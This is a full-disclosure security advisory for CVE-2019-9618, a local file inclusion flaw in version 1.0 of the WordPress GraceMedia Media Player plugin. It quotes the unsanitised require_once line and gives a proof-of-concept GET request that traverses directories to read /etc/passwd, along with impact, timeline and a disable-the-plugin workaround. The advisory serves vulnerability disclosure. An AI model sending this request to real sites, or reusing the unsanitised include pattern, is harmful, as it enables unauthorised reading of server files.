WordPress GraceMedia Media Player 1.0 Local File Inclusion

`=============================================  
MGC ALERT 2019-001  
- Original release date: February 06, 2019  
- Last revised: March 13, 2019  
- Discovered by: Manuel GarcAa CA!rdenas  
- Severity: 7/10 (CVSS Base Score)  
- CVE-ID: CVE-2019-9618  
=============================================  
  
I. VULNERABILITY  
-------------------------  
WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion  
  
II. BACKGROUND  
-------------------------  
Hassle-free and user-friendly way to add a Media player directly to your  
website.  
  
III. DESCRIPTION  
-------------------------  
This bug was found in the file:  
  
/gracemedia-media-player/templates/files/ajax_controller.php  
  
Vulnerable code:  
  
require_once($_GET['cfg']);  
  
The parameter "cfg" it is not sanitized allowing include local files  
  
To exploit the vulnerability only is needed use the version 1.0 of the HTTP  
protocol to interact with the application.  
  
IV. PROOF OF CONCEPT  
-------------------------  
The following URL have been confirmed that is vulnerable to local file  
inclusion.  
  
Local File Inclusion POC:  
  
GET  
/wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd  
  
V. BUSINESS IMPACT  
-------------------------  
Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
GraceMedia Media Player <= 1.0  
  
VII. SOLUTION  
-------------------------  
Disable plugin until a fix is available, vendor does not fix after 2  
requests.  
  
VIII. REFERENCES  
-------------------------  
https://es.wordpress.org/plugins/gracemedia-media-player/  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported  
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
February 06, 2019 1: Initial release  
March 13, 2019 2: Revision to send to lists  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
February 06, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas  
February 06, 2019 2: Email to vendor without response  
February 21, 2019 3: Second email to vendor without response  
March 13, 2019 4: Send to the Full-Disclosure lists  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
-------------------------  
Manuel Garcia Cardenas  
Pentester  
`